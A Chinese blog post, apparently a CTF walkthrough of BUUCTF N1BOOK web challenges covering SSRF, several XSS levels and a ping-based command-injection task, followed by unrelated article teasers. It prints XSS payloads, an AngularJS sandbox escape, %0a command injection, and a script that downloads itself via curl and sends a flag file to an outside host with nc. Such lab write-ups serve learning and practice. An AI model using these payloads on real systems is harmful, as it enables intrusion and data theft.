【BUUCTF N1BOOK】[第二章 web进阶] 通关

news/2024/5/19 21:05:07 标签: 前端, javascript, 开发语言, BUUCTF, CTF, 网络安全
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

前言

[第二章 web进阶]SSRF Training

[第二章 web进阶]XSS闯关

[第二章 web进阶]文件上传


前言

N1BOOKNu1L Team为方便读者打造的免费平台,读者可在上面享受书籍相关资源以及查阅勘误。

[第二章 web进阶]SSRF Training

n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}

打开环境,最值得关注的就是下面两个地方,一个是代码审计的,还有一个是提示flag是flag.php文件里面

intersting challenge代码审计

1、check_inner_ip($url) 函数用于检查输入的URL是否为内网IP地址,首先使用正则表达式匹配URL格式,然后解析URL获取主机名,再通过 gethostbyname 函数获取主机名对应的IP地址,最后使用 ip2long 函数将IP地址转换为整数进行比较,判断是否为内网IP地址。如果是内网IP地址,则直接打印该URL为内网IP地址;否则,调用 safe_request_url($url) 函数进行安全的URL请求和处理。

2、safe_request_url($url) 函数中首先调用 check_inner_ip($url) 函数进行检查,如果URL为内网IP地址,则直接打印该URL为内网IP地址;否则,通过 cURL 发起请求,获取URL的内容。同时,也会检查返回的 HTTP 头中是否包含重定向地址,如果有重定向则递归调用 safe_request_url($url) 函数去处理重定向地址。

我这里尝试利用file读取flag.php,猜测网站根路径是/var/www/html

右击查看源代码,发现flag了

[第二章 web进阶]XSS闯关

n1book{xss_is_so_interesting}

题目提示我们利用alert函数进行闯关

level1,用简单的xss反弹语句就可以成功

level2,查看源代码,

我们可以看到username被escape函数编码了,基本上就很难绕过。因此我们从username本身想办法。可以这样构造:

?username=';alert(1);//

level3

发现一个单引号被转义了,那么我们可以尝试利用两个单引号进行过滤

?username='';alert(1);//

level4

查看源代码:

伪链接

javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。
代码中接收jumpUrl作为跳转url

/level4?jumpUrl=javascript:alert(1)

level5

限制1

getQueryVariable('autosubmit') !== false

解决限制1,给autosubm传个值
autosubmit=1

限制2

autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');


解决限制2,同样是传值,只不过是传我们的注入语句
完整payload

/level5?autosubmit=1&action=javascript:alert(1)

level6

?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

这道题目其实知道是第七关的flag

可以直接把level1改成level7,然后直接利用<script>alter('xss')</script>,就可以拿到flag,因为第七关没有任何的过滤

[第二章 web进阶]文件上传

n1book{6fa82809179d7f19c67259aa285a7729}

通过简单的ping命令测试,发现有很多的过滤,所以先利用fuzz.txt字典进行测试下有哪些过滤

利用burp,测试得到以下被过滤了:

["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];

通过%0a能够注入新的一条命令进行执行

ip=127.0.0.1%0als

用小号在BUU上开一个内网的主机

编写1.sh,内容如下:

ls
cat /FLAG | nc your_buu_ip 8089

把他复制到网站根目录
在靶机上用curl下载

127.0.0.1%0acurl your_buu_ip/1.sh > /tmp/1.sh   #请求bash文件到tmp目录

nc -lvp 8089  #your_buu_ip的机器上进行监听8089端口

127.0.0.1%0ash /tmp/1.sh #执行bash文件

n1book{6fa82809179d7f19c67259aa285a7729}


http://www.niftyadmin.cn/n/5371898.html

相关文章

vue3 源码解析之Reactive实现的原理

第一节&#xff1a;vue3 响应式的API&#xff1b; reactive&#xff08;响应&#xff09;&#xff1a; shallowReactive&#xff08;浅响应&#xff09;: readonly&#xff08;只读&#xff09;: shallowReadonly&#xff08;浅的只读&#xff09;&#xff0c; 浅相当于第一层。…

RuoYi模块功能分析:第五章 服务监控

文章目录 一、引入依赖二、封装信息实体类三、若依的使用2.1 、controller的使用 一、引入依赖 通过oshi-core获取系统信息 <dependency><groupId>com.github.oshi</groupId><artifactId>oshi-core</artifactId> </dependency>二、封装信…

开源软件对技术以及行业发展的影响

开源软件和代码对技术发展和行业产生了广泛而深远的影响。以下是一些主要方面的深入分析&#xff1a; 1. 协作和共享&#xff1a; 技术发展&#xff1a; 开源项目提供了一个集体协作和共享的平台&#xff0c;吸引了全球各地的开发者共同参与。这种协同工作模式推动了技术的快…

DNS 域名系统——应用层

目录 1 域名系统 DNS 1.1 域名系统 1.2 互联网的域名结构 1.2.1 顶级域名 TLD(Top Level Domain) (1) 国家顶级域名 nTLD (2) 通用顶级域名 gTLD (3) 基础结构域名 (infrastructure domain) 1.3 域名服务器 1.3.1 域名服务器的四种类型 &#xff08;1…

第一章:从3D到2D

本文是《从0开始图形学》的第一章内容。讲解如何将3D的模型“画”到2D的图形山。 概念解说 图形学渲染&#xff0c;就是将3D的东西“画”到2D的屏幕上&#xff0c;和拍照的效果是一样的&#xff0c;这也是为什么很多3D渲染引擎会有“相机”这个概念&#xff0c;这一节我们来看…

政安晨:示例演绎TensorFlow的官方指南(三){快速使用数据可视化工具TensorBoard}

这篇文章里咱们演绎TensorFLow的数据可视化工具&#xff1a;TensorBoard。 在机器学习中&#xff0c;要改进模型的某些参数&#xff0c;您通常需要对其进行衡量。TensorBoard 是用于提供机器学习工作流期间所需测量和呈现的工具。它使您能够跟踪实验指标&#xff08;例如损失和…

macos安装local模式spark

文章目录 配置说明安装hadoop安装Spark测试安装成功 配置说明 Scala - 3.18 Spark - 3.5.0 Hadoop - 3.3.6 安装hadoop 从这里下载相应版本的hadoop下载后解压&#xff0c;配置系统环境变量 > sudo vim /etc/profile添加以下两行 export HADOOP_HOME/Users/collinsliu/…

【C++】类与对象6:内部类与匿名对象

前言 今天来学习内部类与匿名对象 内部类 概念&#xff1a;如果一个类定义在另一个类的内部&#xff0c;这个内部类就叫做内部类。 内部类是一个独立的类&#xff0c;它不属于外部类&#xff0c;更不能通过外部类的对象去访问内部类的成员。外部类对内部类没有任何优越的访问…